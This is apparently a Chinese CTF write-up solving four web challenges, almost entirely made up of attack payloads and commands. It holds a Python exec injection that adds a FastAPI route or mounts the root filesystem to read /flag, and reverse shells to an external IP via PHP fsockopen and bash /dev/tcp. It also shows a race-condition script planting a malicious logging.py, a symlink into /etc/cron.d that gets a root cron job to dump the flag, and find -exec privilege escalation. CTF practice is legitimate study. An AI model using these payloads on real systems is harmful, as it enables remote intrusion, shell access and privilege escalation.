目录
EncirclingGame
GoldenHornKing
php_online
admin_Test
EncirclingGame
玩赢游戏就行
GoldenHornKing
利用点在传入的app
可以打python内存马
/calc?calc_req=config.__init__.__globals__['__builtins__']['exec']('app.add_api_route("/flag",lambda:__import__("os").popen("cat /flag").read());',{"app":app})
访问./flag
也可以挂载静态文件
/calc?calc_req=lipsum.__globals__['__builtins__'].exec("from fastapi.staticfiles import StaticFiles;app.mount('/static', StaticFiles(directory='/'), name='static')", {"app": app})
访问./static/flag
php_online
先起一个id为aaaaaaa1的沙箱,反弹shell
<?php system('php -r \'$sock=fsockopen("124.222.136.33",1337);exec("sh <&3 >&3 2>&3");\'');?>
再起一个id为aaaaaaa2的沙箱,使得/sandbox/aaaaaaa2存在
再在aaaaaaa1环境里运行sh脚本条件竞争让init.py里import的恶意logging.py存在
init.py 中的logging会优先应用同目录下的logging.py,而非logging三方库
echo "__import__('os').popen('bash -c \"bash -i >& /dev/tcp/124.222.136.33/1338 0>&1\"')" > /tmp/logging.py
echo "while true; do" >> /tmp/exp.sh
echo " cp /tmp/logging.py /sandbox/aaaaaaa2/logging.py" >> /tmp/exp.sh
echo "done" >> /tmp/exp.sh
chmod +x /tmp/exp.sh
sh /tmp/exp.sh
运行sh脚本后再进入aaaaaaa2环境,随便传一个<?php echo 1;?>触发sudo -u www-data python3 init.py
运行恶意logging.py后反弹shell拿到www-data权限
ps-aux
发现开着定时任务
开一个id为aaaaaaa3的沙箱
ln -s /etc/cron.d /sandbox/aaaaaaa3
再软链接定时任务目录
最后在aaaaaaa3的沙箱传入phpcode
* * * * * root cat /flag > /tmp/flag
# <?php sleep(1000);?>
<?php sleep(1000);?>是为了避免rm *将/sandbox/aaaaaaa3/phpcode给瞬删,从而给定时任务运行充足的时间
admin_Test
扫出来./admin.html
访问./admin.html
可以上传文件,可以执行命令
命令部分fuzz出来的可用字符为t * . /,一眼执行临时文件. /t*/*
参考无字母数字rce(ctfshow web入门56)_过滤所有字母和数字的rce-CSDN博客
可以命令执行
但没法读/flag,考虑提权
可以打find提权
touch anyfile #必须要有这个文件
find anyfile -exec whoami \;